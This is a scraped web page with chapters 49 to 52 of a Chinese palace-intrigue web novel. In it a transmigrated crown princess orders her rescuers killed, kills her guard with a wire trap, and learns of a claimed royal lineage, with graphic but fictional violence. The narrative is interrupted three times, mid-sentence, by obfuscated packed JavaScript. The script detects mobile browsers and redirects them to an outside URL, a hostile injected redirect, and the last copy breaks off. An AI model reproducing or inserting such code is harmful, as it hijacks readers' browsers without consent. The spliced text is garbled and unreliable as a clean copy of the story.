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“是,殿下说,曹州目前局势复杂,需隐蔽行事,不宜暴露行踪,免得危及娘娘,所以只派了属下一人前来。” 林若华点点头,走到吴锋身边,道:“这是救了我的人。吴锋,你身上可有钱财?给他们一些作为酬谢吧。” 方小娥和阿实闻言,连忙摆手摇头。 阿实急忙说:“大小姐……不,太子妃娘娘,我们救您并不是图财,我们虽然穷,但救您是我们自愿的,不要什么酬谢。” 林若华听后,嘴角微微上扬,语气温和:“哦?那你们想要什么奖赏?说吧,只要我能做到的,一定满足你们。” 阿实和方小娥对视一眼。 终于,阿实咬了咬牙,鼓起勇气说道:“小娥跟着我太苦了。我想要出人头地,给她一个安安稳稳地生活。您……您能不能给我一份差事?什么活我都愿意干,我有的是力气。” 他说完,紧张地看看林若华,又看看吴锋。 方小娥也注视着林若华,满是期待。 林若华的笑意更深,她缓缓点头:“你年轻力壮,不如让你去太子身边当个侍卫吧。至于小娥……” 她看向方小娥:“也可以留在我身边,当个贴身侍女。这样你们既能在一起,又能有个前程,怎样?” 二人听后皆是眼睛一亮,笑容刚刚显露出来,耳边就响起林若华骤然变得冰冷的声音。 “吴锋,杀了他们。” 49. 欺骗 方小娥与阿实的笑容顿时凝固在脸上,他们简直不敢相信自己的耳朵。 不光是他们,连一旁的吴锋也愣住了。 “太子妃娘娘,您在说什么啊!”阿实瞪大眼睛,难以置信地盯住林若华的脸。 在这十来天的相处中,这位大小姐一直很和善,不像其他贵人一样高高在上,甚至会与他们道谢,阿实简直无法将说出这句话的人与之前的她联系在一起。 “太、太子妃娘娘……”方小娥的声音抖得不成样子,她下意识后退一步,撞进阿实怀里。 “哎——”林若华长长地叹了一口气,带着几分无奈与惋惜。 随后,她笑了起来,以袖掩唇,只露出一双弯弯的眉眼。 “你们若是老老实实收下钱,安安分分地离开,我说不定还真会放过你们。可惜啊,你们为什么不肯听我的话呢?”林若华说完,放下衣袖,秀眉微蹙,脸上露出不解的神情,困惑为何这两个人如此不识抬举。 阿实感觉喉咙干涩得厉害,用力吞了吞口水,这才发出声音:“为、为什么?我们明明救了你啊。” “为什么?”林若华重复了一遍阿实的话,忽然轻笑出声,“我堂堂太子妃,若是让人知道,我被洪水冲走,在荒山野岭待了半个月,与陌生男子共处一室,传扬出去,于我的名声有碍。” 她顿了顿,又道:“所以,只能委屈你们了。放心,我会将你们厚葬,以此报答你们的救命之恩。” 那声音清冷好听,那相貌出尘脱俗,那神情悲悯如俯瞰众生的仙人。 落在不知情的人眼里,还真以为是九天玄女下凡来,不忍见凡人受苦受难。 只可惜,对于眼前的这两个凡人而言,此刻的林若华哪里是什么天仙神女?分明是披着一张美人皮,来索命的恶鬼! “呸!”阿实一口唾沫狠狠啐在地上,整张脸因极度愤怒而涨红,“什么狗屁太子妃!亏得小娥还说你是个心善的好人!我们拼死救你回来,你竟然恩将仇报!你的良心被狗吃了吗?” 他越说越激动,握着柴刀的手青筋暴起。 方小娥被他突然爆发的怒吼吓得一哆嗦,回过神来,这个从不苛责下人的大小姐,怎么突然就变成了这副模样? 林若华对阿实的怒骂恍若未闻,只是将目光转向仍沉默不语的吴锋。 见吴锋迟迟不动手,她的眉头轻轻一挑:“怎么?只有太子殿下才能命令你,我这个太子妃的话,就使唤不动你了是吗?” 吴锋握住剑柄,深深看了林若华一眼,最终还是沉声道:“属下遵命。” 他缓缓拔出腰间佩戴的剑,长剑出鞘,剑身泛着寒光,与阿实手中生锈的柴刀形成鲜明对比。 “小娥,躲到我身后!”阿实见状,一把将方小娥拉到身后,柴刀横在胸前。 “阿实哥……”方小娥吓得浑身发抖,哭喊起来。 “对不住了。”吴锋朝二人迈步而去,长剑直取面门。 阿实举起柴刀格挡,虽然他年轻力壮,可那点蛮力在自幼习武的吴锋面前,简直不堪一击。 “哐当”一声,柴刀被打落在地。 不等阿实反应过来,吴锋剑锋一转,朝阿实刺去。 “啊!”阿实惨叫道,剧痛袭来,低头一看,剑身没入腹中。 吴锋拔出长剑,鲜血瞬间涌出,染湿了阿实打满补丁的衣服。 阿实下意识地用手捂住伤口,双腿一软,捂住腹部慢慢跪倒在地。 “不要!”方小娥从阿实身后冲出来,死死抱住吴锋持剑的右臂,张大嘴巴狠狠咬了下去。 她的力气小得可怜,吴锋甚至没有甩开她,只抬起一脚,踹在她的身上。 方小娥被踹飞,后背重重撞到一旁的灶台,随即身子一歪,倒在柴火堆里。 她蜷缩起身体,一口血吐了出来。 “小娥!”阿实目眦欲裂,不顾腹部的剧痛,挣扎着扑到方小娥身边,用沾满鲜血的双手去扶她,“小娥,你怎么样?小娥!” 方小娥疼得说不出话,只能虚弱地摇头。 两人依偎在一起,望着手持长剑,步步紧逼的吴锋,开始绝望起来。 吴锋在他们面前站定,准备给他们最后一人一剑。 “等一下。” 林若华的声音突然响起。 吴锋的剑停在半空。 三人齐齐看向她。 方小娥与阿实眼中燃起最后的希望,或许太子妃改变了主意,能放他们一马。 然而,他们却只见林若华微微蹙眉,用衣袖掩住口鼻:“等我出去以后你再动手。” 吴锋收剑:“是。” 希望破灭,方小娥泪流不止,阿实抱紧了她,低声道:“别怕,小娥,别怕,下辈子我还娶你……” 林若华不再看他们,转身一步步向屋外走去。 走到门口时,她停住脚步,左手自然地扶在粗糙的门框上。 她回过头,半边身子沐浴在门外的天光中。 “下手干脆利落些,我不喜欢血溅得到处都是,明白吗?还有,解决完后,把这屋子烧了,干干净净,别留痕迹。” 林若华瞥了眼屋内简陋的陈设,目光又落在吴锋脸上:“你自己的嘴也严实点,若让我从旁人口中听到半点风声……” 她顿了顿,意味深长道:“呵呵,对于太子殿下而言,心爱的太子妃,和一个普通的下属,孰轻孰重,你应当懂得。” 吴锋低下头:“属下明白。” 林若华这才满意地点了点头,回首继续向外走去。 门一点点合拢,光线一点点消失,屋内彻底昏暗下来。 吴锋再次举起了剑,阿实与方小娥紧紧抱在一起,闭上了双眼。 就在这时,屋外突然响起林若华惊恐万分的尖叫声。 “啊!你们是谁?吴锋!” 像是突然遭遇到了什么危险。 吴锋想也未想,丢下阿实与方小娥,提着剑就往屋外冲去。 “砰!” 吴锋用力推开木门,阳光照射进来,他双眼微微眯起,脚步却不停歇。 就在他双脚刚踏出门槛,想要搜寻太子妃的身影之时。 脖颈处,传来一丝凉意。 “呃……” 吴锋睁大双眼,他想要转头,想要看清身后,想要发出警示,可身体已经不听使唤。 他的视线开始模糊,天地开始旋转。 最后映入他眼帘的,是站在门框右侧,那个扬起左手的娉婷身影。 林若华。 她看着自己,脸上没有任何表情。 “……”为什么? 吴锋发不出声,手无力垂下,长剑掉落,双腿跪地,身首分离,无头的尸身重重向前倒去,血喷了一地,也溅到了林若华的裙摆上。 这一切发生得太快,从吴锋冲出门到身首异处,不过几个呼吸的时间。 “啊、啊啊啊啊——”目睹这一切的方小娥失声尖叫。 阿实也被这突如其来的惨烈场面吓得汗毛倒竖,但他强忍着腹部的剧痛和内心的惊骇,用尽力气将几乎昏厥的方小娥紧紧搂进怀中,一手轻轻捂住她的眼睛:“别看,小娥,别看了……” 他自己却无法移开视线,死死盯着门口那具倒在血泊里的尸体。 一根细如发丝的钢丝正横在门前,在阳光下不时反光。 林若华松开按住大珍珠的拇指,向门的左侧走去,一点一点将几乎肉眼难辨的钢丝收回手镯中。 最后,她从门缝中,取出卡在其中的另一颗小珍珠,小珍珠回归原位,严丝合缝,只是钢丝沾染的血珠,到底还是留在了手镯上。 方才,在林若华转身离去时,就将手镯上的钢丝拉出,左手拇指与食指捏住小珍珠。 她借着与吴锋说话的机会,一边吸引他的注意力,一边将小珍珠夹在门缝里,关上门,把钢丝横拉成直线,置于门前。 她不知道能不能成功,只能赌一把,赌吴锋心急之下,根本发觉不了这个陷阱。 还好,赌赢了。 昔日萧长离送她的防身利器,她用上两件,杀了两个人。 林若华走近吴锋的尸身,弯腰捡起他掉落在一旁的长剑,剑柄上还沾着吴锋温热的血,黏糊糊的。 她提着剑,转身向屋内走去,一步步走向阿实与方小娥。 阿实和方小娥早已失去了逃跑反抗的能力。 尤其是阿实,失血过多,脸色苍白,嘴唇已经开始发紫。 方小娥被捂住眼睛,仍在不住地啜泣。 “我救了你,你为什么恩将仇报?”林若华在他们面前停下,垂眸看着瘫坐在地的两人,目光最终落在方小娥脸上。 方小娥的啜泣一滞。 阿实已经将手放下,方小娥望向林若华。 林若华的声音很平静,脸上也没有什么表情,就这样提着滴血的长剑。 方小娥在林府待了五年,却从未见过她有此刻骇人。 “我、我、我……”方小娥语不成句,泪水模糊了视线。 “你有什么冲着我来,不关小娥的事。”阿实用尽力气说道,声音却已虚弱不堪。 林若华看了阿实一眼,然后又转回方小娥脸上。 “不!不!”方小娥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17055808|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然哭喊起来,抓住林若华的裙角,“太子妃娘娘,求求您放过我们吧!您是个心善的人,我知道的,在林府的时候就您心善,求求您不要和我们计较,饶了我们吧!我们错了,我们真的知道错了!” “心善?”林若华低头看着攥紧自己裙角的方小娥,“整个林府,林洛瑶打骂你,其他下人欺负你,叶氏逼你给林兴业做妾,林兴业也不当人。你不去恨他们,报复他们,你来害我?” 闻言,方小娥的手一顿。 “说。”她将剑尖抬起,指向两人,“你们背后,究竟是谁指使?为何要设局接近我?不说实话,我就杀了你们,我不介意再多杀两个人。我说到做到!” 方小娥毫不怀疑,如果自己再不说实话,那把剑真的会刺下来,一个能面不改色设下陷阱杀死太子侍卫的人,杀他们两个平民又算得了什么? “我们不会说的,你杀了我们吧。反正我们这些草民的命不值钱。你们这些有权有势的贵人,个个都心狠手辣。今天我们认栽了。”阿实无力地闭上双眼。 “心狠手辣?”林若华脸上浮现出愤怒的神色,“你们不但恩将仇报,还与田有方勾结在一起。你们知不知道曹州的百姓死伤无数?堤坝决堤不是天灾,是人祸,多少人流离失所,家破人亡?你们才是心狠手辣!” 林若华回忆曹州城的惨状,无数百姓的哭喊声又在耳边响起,不由得握紧手中剑,这次她是真的想杀人。 “呸!谁与田有方勾结在一起?我恨不得吃他的血喝他的肉!那些个狗官!”阿实猛地睁开眼,怒道。 他刚说完,突然剧烈咳嗽起来。 “阿实哥!”方小娥转身抱住他。 “不是的,太子妃娘娘,不是这样的!”方小娥抬起头,泪眼婆娑,“我告诉您,我把一切都告诉您,求您,放过阿实哥吧,他快不行了。” “小娥!不能说!”阿实想要阻止,却因伤势无力起身。 方小娥冲他摇了摇头:“阿实哥,到了这个地步,还有什么不能说的?我们要活下去。” 她又转向林若华,声音哽咽,断断续续地开始讲述他们离开林府后的遭遇。 原来,阿实接到方小娥后,方小娥想要回曹州老家拜祭父母。 阿实心疼她,又说事情过去已久,风声该过了,便答应下来。 两人离开京城时,运气不错,刚好遇到一队前往曹州的商队。 他们百般恳求,又支付了路费,商队首领见他们可怜,才勉强同意捎上他们。 谁知,商队一踏入曹州地界,麻烦就找上了门。 只因在城门处未曾打点守卫,当晚在客栈安顿下来不久,便有衙役上门寻衅,借口搜查逃犯,实则是想随便敲诈一笔。 阿实和方小娥原本打算跟着商队暂住一晚,次日一早便启程前往乡下祭拜。 不料衙役搜查时,竟宣称阿实是逃犯。 阿实当即被抓进了大牢。 方小娥惊惶失措,将身上剩余的钱财全部掏出想要求情,钱财被衙役一把夺去,人也被拖到暗处,差点受辱。 绝望之际,是几个神秘人救了他们。 那几个人将他们带到一处院子,提供吃食,却从不以真面目示人,也甚少说话。 只是告诉他们,田有方在曹州一手遮天,他们得罪了官府,只有死路一条。 第二日,这些人暗中护送他们离开曹州城。 在途经城门时,与另一队商队擦肩而过。 方小娥无意中瞥见,那商队中一个身材高大的车夫,正给守卫塞银子,守卫掂了掂,脸上露出满意的笑容,这才挥手放行。 那个守卫就是昨日的守卫。 方小娥别无他法,只能在无人注意时,偷偷抹了抹眼泪。 “我们真的只是想去拜祭爹娘,然后就离开,去找个地方安家。” 方小娥哽咽着说:“那些救我们的人,把我们带到这里,说这里安全。您在醒来的前一天才被送过来。他们说,让我们好好照顾您,然后装作救命恩人,留在您身边,别的什么都没提。我们真的不知道他们是谁,也不知道他们想干什么。” 她又痛哭起来:“我们只想好好活下去,他们说您身份尊贵,不怕田有方,跟着您还能过上好日子。我们一时糊涂,就答应了。但我们从来没想过要害您,我们是真的在照顾您啊!” 林若华沉默了。 她看了看满脸泪水的方小娥,看了看脸色惨白的阿实,叹了一口气,又问:“你们真不知道救你们的人是谁吗?” 还没等方小娥开口,一道声音自林若华的背后响起。 “是我。” 50. 郡主 林若华:“?!” 什么人? 林若华心头一紧,迅速转身,手中长剑也随之调转方向。 剑锋所指之处,是一个不知何时出现的人影。 那人正立在门前,双脚踩在暗红的血泊里,脚边便是吴锋的尸身。 林若华眉头紧蹙,怎么回事? 方才她在屋外分明没有见到任何人。 这人是从哪里冒出来的,从天而降吗? 来人背着光,隐在阴影里,面容模糊不清,只看得出身材魁梧,虎背熊腰,与凌北一般高大。 那人向前迈了两步。 林若华手中的剑也随之抬高了两分:“站住!” 那人停下了。 林若华这才看清,眼前的男人约莫四十多岁的年纪,脖颈上横着一道引人注目的疤痕,犹如一条狰狞丑陋的蜈蚣趴在上面。 不过最令她心惊的是,此人的五官竟与死去的吴锋十分相似。 她暗到不妙啊。 对方一看就会武,腰间还佩着长剑,硬碰硬毫无胜算,必须得想其他办法。 不过她面上却维持着镇定,直视对方眼睛,不露出丝毫胆怯。 男人面色阴沉,一言不发,只是抬起右手,朝身后做了个手势。 门外顿时又冒出两个黑衣蒙面人,他们径直走向角落里的方小娥和阿实,将他们架了起来。 林若华用余光瞥见,方小娥和阿实脸上浮现出如释重负的神情,微微松了口气,没有丝毫反抗,任由那两人搀扶着离开了屋子。 方小娥走到门口,甚至还回头看了林若华一眼,脸上满是愧疚。 看来,这些人的确是之前救下方小娥和阿实的幕后之人。 林若华的剑一点点垂下,不再指向对方。 对方人多势众,再反抗不明智。 更何况这人费尽心思在她面前演这出戏,应该不会轻易就杀了她。 “您没事吧?” 男人终于开口,声音嘶哑得厉害,如同行将就木的老人。 林若华闻言笑了,这人算计她,将她逼入绝境,现在倒来问她有没有事? 她正欲开口嘲讽,却听那人沉声唤道: “郡主。” 林若华先是怔了怔,随即笑容愈发明媚:“你在说胡说什么?我乃当朝太子妃,可不是什么郡主。这一点,你们不是最清楚吗?所以才如此煞费苦心地算计我。” 她环视四周,屋子里只剩下他们二人,这话确确实实是冲着她喊的。 “属下从未想过要算计郡主。”那嘶哑声音再度响起。 “呵,属下?”林若华挑眉,上下打量他,“我可不记得有你这号属下。” “郡主,属下乃太子左内率吴平。”那人一字一顿地说。 林若华收起了笑容,冷声道:“太子左内率?我当然认得,他姓凌。再说一次,我可不是什么郡主。” 太子左内率当然是她熟悉的凌北。 吴平并未急于辩解,只是深深看向林若华,眼中浮现出某种难以言表的复杂情绪:“您是羲和太子的血脉,自然该尊称您一声郡主。” 林若华:“?” 她心里咯噔一下。 前朝的羲和太子? 她曾与萧长离讨论过,“若华”与“羲和”皆出自《天问》。 羲和之未扬,若华何光? 故事设定中她又与前朝明月公主容貌极为相似,或许一切并非偶然,是在暗示林若华的身世与前朝皇室有关,是编剧为洒狗血埋的暗线。 该不会是她的乌鸦嘴说中了吧? 然而她面上未显露半分,只轻笑一声,走到屋子中央,将手中长剑扔在桌上,又扶起脚边翻倒的木凳。 “来,坐下慢慢说吧。”她抬手示意,又自顾自坐下,“你们到底想做什么?花费如此大的力气演这么一出戏,总不会只是为了认亲吧。” 吴平长叹一声,叹息声中满含沧桑:“郡主,您是不信我?” “为何要信?从我第一天醒来,就知道你们在骗我。我隐忍不发,不过是想弄清楚你们的意图罢了。”林若华神色淡然。 也是在养精蓄锐,伺机逃跑,虽然最终还是失败了。 “郡主竟然这么早就发现了。”吴平眼中闪过讶异,转瞬间又变为称赞,“郡主果然聪慧过人,深得太子殿下的真传。” 他走到林若华对面,先拱手行了一礼,才稳稳落座。 吴平并未追问林若华是如何识破的,毕竟仓促间定下的计划,必是漏洞百出,只是解释:“属下所做一切,只为能将真相呈于郡主面前,又唯恐郡主不信,才不得不出此下策。郡主您可知,这里是何处?” “阿实说,这里叫做大树村。”林若华回答,她并不确定阿实是否说的实话。 “是的,大树村。太子殿下当年便是隐居于此啊。” 吴平顿了顿,而后才缓缓开口,讲述起曾经的往事。 “二十一年前,逆贼萧昱作乱,血洗皇城。属下率一百亲卫护送太子殿下突围,然而逆贼穷追不舍,亲卫一路上死伤殆尽,属下身负重伤,与殿下失散。待我们历尽艰辛,辗转寻到此处时,殿下已隐姓埋名,与当地女医成婚,并诞下了您。” 吴平顿了顿,又道:“殿下深知逆贼不会就此善罢甘休,为保您周全,便想出李代桃僵之计。恰逢太子妃娘娘去为上水镇富商李家之女接生,李氏难产,母子双亡。娘娘便将您与死婴交换,让您成了林家的嫡长女。” 林若华垂下眼帘,她外祖父就姓李,是上水镇的富商。 “太子妃娘娘,您的生母,她思念成疾。您八岁那年,她实在按捺不住,便想办法让李家以求医之名,将您接回大树村小住。谁料竟因此暴露了行踪。” 吴平握紧拳头,闭了闭眼:“逆贼派来的杀手一夜之间屠尽全村,殿下与娘娘为护您撤离,率残部拼死抵抗,最终李家上下二十六口,大树村四十一户,无一生还。” 林若华沉默良久,忽然轻笑:“故事讲得不错。可证据呢?若我真是前朝血脉,为何过去十六年中你们从未出现过?甚至在八年前那场灭门惨案后,如果不是奶娘拼死送我上京,我早就没命了。那时,你们又在哪里?” “郡主,当年逆贼搜查甚严,我们残余力量折损大半,为免打草惊蛇,只得潜伏下来。若非属下等人暗中护送,一个柔弱的妇人,如何能带着幼童跨越千里,安然抵达京城?” 吴平忆起昔日的场景,沉声道:“至于证据,您的脸,便是最好的证据。您与您的亲姑姑明月公主,长得一模一样。” 林若华当然不会轻易相信这个说法。别人不知道她为什么长得像明月公主,她自己还能不知道吗? 因为剧本设定,因为同一个演员。 可这话,她可不会对吴平说。 “单凭一张脸?”林若华摇头失笑,“世间相似之人如过江之鲫,何其多啊。况且,倘若我真是什么前朝郡主,我如今已是太子正妃,不出意外,将来就是皇后。我的孩子将会成为大庆下一任的皇帝,兵不血刃便可实现复国。你现在跳出来相认,万一暴露我的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080600|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,岂不是前功尽弃?” 吴平摇头:“郡主,事情没有那么简单,萧长离早就知晓您的身份。他绝不会允许前朝血脉延续,等大局一定,他定会取您性命。” “哦?”林若华眉头一挑,好似不信。 “他之所以求娶您,正是确认了您前朝皇室血脉的身份。不然,他为何非要娶一个六品小官之女?您明面上的娘家并不能为他带来任何助力?” 林若华漫不经心道:“说不定,他只是贪图我的美色呢?色令智昏嘛。” “郡主!”吴平加重语气,“萧长离其人心思深沉,绝非色令智昏、溺于声色之辈。他曾在情急之下,对您唤出过明月公主的名讳。” 吴平缓了一口气,又道:“郡主可知,先皇后姓林,明月公主幼年时,曾化名林晞,假称是先皇后的侄儿,女扮男装混入国子监读书。林晞这个名,知道的人极少。萧长离能叫出来,必定是从明月公主极其亲近之人口中得知。” 原来明月公主这么活泼吗?林若华又好奇道:“明月公主的名讳是哪两个字?” “双木成林,东方未晞。”吴平缓缓道。 “哦,是林晞啊。如此说来,明月公主本名沈林晞?可我听闻,旁人都唤她沈明月。”林若华若有所思,想起皇帝寿宴那日,曾无意间听到女主父母争吵时提过。 “明月是封号,外人岂配知晓公主真名!”吴平眼中冷不防燃起怒意,连嘶哑的声音都不自觉高亢两分。 林若华细细观察着他。进屋这么久,这是吴平第一次情绪如此外露。 “你与明月公主,似乎颇为熟悉?你们关系很好?”她小心试探道。 吴平垂下眼,隐去眸中情绪,声音也恢复如常:“公主待所有人都极好。她心地善良,从不会因对方身份而区别待人。您长得很像她。” “是吗?”林若华不置可否,随后侧过头,目光绕过吴平,看向倒在门前的吴锋尸身,问道:“你长得和吴锋也很像,他是你什么人?” 吴平转头,顺着她的目光看去,脸上肌肉抽搐了一下,再回过头时,已恢复平静,嘶哑道:“他是属下的儿子。” 果然。林若华心道。 可杀了他的儿子,还能如此平静? 林若华盯着他的双眼,说:“我杀了你的儿子,你仍要尊称我为郡主?你不杀了我,为他报仇吗?” “不,能为郡主而死,是他的荣幸,也是他的归宿。”吴平说道。 这话说得理所当然,让林若华心底生出一股寒意。 林若华盯着他看了许久,忽然道:“那我若真是郡主,可以命你为我做事吗?” 吴平毫不犹豫:“当然,属下万死不辞。” “任何事?” “任何事。”吴平稍作停顿,补充道:“只要不危害江山社稷。” 他所说的江山社稷,自然是指前朝那个早已覆灭的天下。 “那好。”林若华起身,“送我回萧长离身边。” 吴平也跟着站了起来:“可以,属下本也打算护送郡主回去。只是,郡主回去之后,如何打算?” 两人对视片刻,屋内一时陷入安静。 少顷,吴平低声道:“您还是不信我。” 林若华没有回答。 她当然不信。 可话又说回来,有句话叫作:过于离谱,以至于不像是编的。 这故事处处透着牵强,可偏偏,有些细节又对得上。 她急需有个人和她聊聊这些荒诞事。 也不知此刻萧长离在做什么? 51. 当年 林若华真没想到吴平竟如此干脆。 她原以为还要再费一番周折,谁知不过一炷香的时间,一辆朴素的马车就已停在茅草屋前。 吴平撩开车帘:“郡主请。” 林若华犹豫一瞬,还是登上了马车。 就在她落座后,两个黑衣人出现,利落地收拾好吴锋的尸身。 其中一人从怀中掏出火折子,吹燃,抛向屋顶。 火舌蹿起,逐渐吞噬了这处她待了十余日的避难之所。 林若华望见那座在火焰中熊熊燃烧的茅草屋,心情复杂地放下帘子。 吴平坐在她对面的位置,双手抱胸,正闭目养神,腰间的佩剑已解下,横放在膝上。 车厢不大,两人相对而坐,谁也没有开口,气氛怪异得很。 不行,得说点什么,套点话。 林若华打破了沉默:“你们和田有方究竟是什么关系?” 吴平知晓萧长离喊的“林晞”两个字。 那是自穿越以来,萧长离唯一一次情急之下脱口而出,他平日里都唤自己为林若华。 当时在场之人,除了她自己、萧长离、苏南和叶景谦,便只有田有方派来的那些刺客。 叶景谦嚷嚷着,那些刺客是田有方派来的。 吴平缓缓睁开眼睛,那双眼睛里藏着太多东西,林若华看不透。 他沉默了许久,才终于开口:“不过是相互利用。田有方此人,贪财好色,并非什么上得了台面的角色。我们需要他在曹州的势力,他看中我们手中的某些东西。” 果然,还是和田有方有勾结,那她就不算杀错人。 林若华慢慢松开了紧握的拳头,掌心早已渗出了汗。 这也就解释了,吴平他们是怎么将她从洪水里救起的。 刺客本就是田有方的人,而吴平又与田有方有联系,救下她就是有利可图。 不然,她真不知道被冲到哪里去了。 “你知道田有方他们这次害死了多少百姓吗?田有方贪污受贿,炸毁河堤,曹州的百姓们流离失所,死伤不计其数,你知道吗?”林若华盯着吴平。 吴平表情没有丝毫变化,却下意识地摩挲起膝上的剑鞘,随即手一顿:“成大事者,不拘小节。郡主,这天下本就是太子殿下的!是萧昱那逆贼篡位夺权,才让田有方这等小人有机会为祸一方。这一切的罪魁祸首都是那个逆贼!若是太子殿下仍在,岂会容忍这等狗官如此猖狂?” 他辩解道,说得振振有词。 林若华闻言,闭上了双眼,复又睁开,她又问道:“羲和太子……羲和太子是个怎样的人呢?” 这个在剧本中仅作为背景出现的人物,在其他人眼里,又是什么样的,值得眼前的这些人,甘愿付出一切代价? 吴平的神情忽然变了,冷漠迅速退去,取而代之的是深切的痛苦与怀念。 “殿下他……”吴平叹了一口气,轻声道,“秉性温良。他记得每个东宫属官的名字,记得他们家中老小的境况。有一年冬季大雪,他看见宫门外一个宫女扫雪时手生出冻疮,当日便下令给所有宫人分发手套。若是让他来治理这个天下,必定国泰民安,不会有如今这般乱象。” 吴平忽然哽住:“可是……可是没有机会了。” 良久,林若华轻声问:“那你说,如果羲和太子还在,他会同意你们为了所谓的大事,牺牲无辜百姓的性命,去换一个复国吗?” 吴平脸上的痛苦一闪而过。 他张了张嘴,似乎想反驳,却最终没有发出声音。 片刻,他将膝上的剑横举在眼前,开始用衣袖反复擦拭起剑鞘。 这剑的剑鞘虽旧,却通体发亮,隐隐反光。 林若华目光落在旧剑鞘上,猜测道:“这把剑,是羲和太子给你的?” “是啊,景林十八年秋猎,有刺客混入围场,我替殿下挡了一箭,殿下赐予我的。” 林若华又问:“你戴着这个,不怕被人认出来吗?” 吴平呵呵苦笑了两声:“这不是东宫的制式,是殿下的收藏。能认出来的人,都已经不在了。” “二十一年了。”吴平喃喃道,“我带着它从京城逃出来,带着它辗转天南地北,等着为殿下报仇的那一天……” 他的面目蓦然变得狰狞:“都是因为萧昱!那个逆贼!我一定要将他碎尸万段!” 林若华被吴平因仇恨而扭曲的脸吓了一跳,不再说话,免得刺激到他。 车厢内又恢复了安静。 那一夜,他们在野外露宿。 吴平和马夫在外守夜,林若华独自躺在马车里辗转难眠。 她躺下又坐起,反复数次,无论如何都无法入睡。 精神紧绷了一整天,单独一个人的时候才稍稍松懈了一点。 可一闭上眼,脑海中就浮现出吴锋死不瞑目的脸,紧接着又是那个黑衣人,临死前难以置信的双眼。 林若华睁开眼,伸出双手,来回盯着看。 这双手,该用来治病救人,可现在,它已经沾了血。 她一个二十一世纪遵纪守法的人,如今已连杀两人。 林若华使劲摇摇头,不对,她不该这样想。 “我没错。”她低声对自己说,“是他们先动手害人的,这是正当防卫。” 可理智归理智,心脏依然跳得很快,左右睡不着,林若华索性起身,拉开马车帘子。 外面很冷,吹着寒风。 今夜无星也无月,四下漆黑一片,只有一团火照亮方寸之地。 林若华一眼就瞧见围坐在火堆旁的吴平与马夫。 吴平那张脸在火光中显得更加沧桑。 马夫则是个中年男子,相貌普通,沉默寡言,一路上几乎没说过话。 林若华跳下马车,径直走到火堆旁边坐下。 吴平看着她就这么盘腿坐在地上,欲言又止,大概想说身为郡主不该如此不顾仪态,但最终只是沉默着往火堆里扔了根树枝。 “我的桃花簪在你那里吗?就是我落水时手里攥着的那个?”林若华一边弯腰捶着腿,一边问吴平。马车里颠簸久了,真是浑身酸痛。 “不在我的手上,我让人送过来。”吴平拨了拨身前的篝火。 林若华悄悄勾起嘴角,还有意外收获。 她收手,直起身,说道:“我还不知道羲和太子与太子妃葬在何处?等这些事情了结,我想去祭拜一下。” 吴平转头望向东北方,眼神变得深远:“太子殿下与太子妃娘娘暂时安葬在一处隐秘之地,待来日复国,定风风光光移回皇陵,以帝王之礼重新安葬。” 林若华顺着他的目光望去,黑暗中什么也看不见。 她知道,那是京城的方向。 沉默片刻,她忽然想起什么:“吴锋一开始就是你们的人,那封信根本就没送到萧长离手上,我回去一说,他岂不是立刻就暴露了?” 林若华转头看向吴平,这个问题她憋了一路。 她可不信吴平一开始就打算送她回去的鬼话,起码不是这么简简单单送回去。 吴平也缓缓转过头,低头不语,四周只有火堆燃烧时,噼里啪啦的响声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人对视良久,最终,吴平移开视线,对马夫道:“继续走,加快速度。” 马车逆着逃难的人流,向曹州城方向疾驰。 又过了两个时辰,林若华已经看到了曹州城的城门。 与上次来时不同,此刻城门紧闭,一队士兵手持长枪立在门前,城外设了栅栏。 马车在距城门数百丈处停下。 林若华看到一个平民打扮的人快步走了过来,在马车外停住,低声说了些什么,又快步离开。 放下车窗帘,马夫递进一个小布包,吴平接过,又把小布包递给林若华。 林若华打开一看,果然是她的桃花簪。 簪子完好无损,她仔细检查后,将簪子插回发间。 “郡主,萧长离就在城中,属下不能再往前走了。” 吴平顿了顿,继而沉声道:“城中瘟疫横行,你现在回头,还来得及。” “我不会回头。”林若华说。 “即使可能会死?”吴平问。 “我不会死。”林若华再次说道。 说罢,林若华毫不犹豫地起身,转身跳下了马车。 吴平掀开车帘,看着林若华头也不回地向着曹州城跑去。 吴平恍惚想起二十一年前,在叛军攻入京城时,公主殿下也是这样果断换上太子殿下的衣服,对他们说保护好太子,然后便转身冲向相反的方向,去引开了追兵,为他们争取逃脱的时间。 那一别,便是永诀。 “郡主,属下祝您一路平安。”吴平嘶哑着说道,声音不大,也不知林若华听见了没有。 52. 瘟疫 林若华把她的小木箱死死抱在怀里,拼命向着曹州城的方向跑,不敢回头,不敢停下脚步,生怕吴平改变主意,将她抓回去。 直到被城门口的木栅栏拦住去路,她才终于停下脚步,抱着小木箱大口喘气。 也是此时她才看清,把守城门的士兵们个个脸上都蒙着白布。 “站住!”见林若华靠近,为首的士兵厉声喝道,长枪对准了她,“来者何人?曹州城已封,不得进出!” “我、我乃太子妃林若华,我要见你们将领。”林若华气喘吁吁地说道。 林若华猜测,这些人都是临时调遣来的地方驻军。 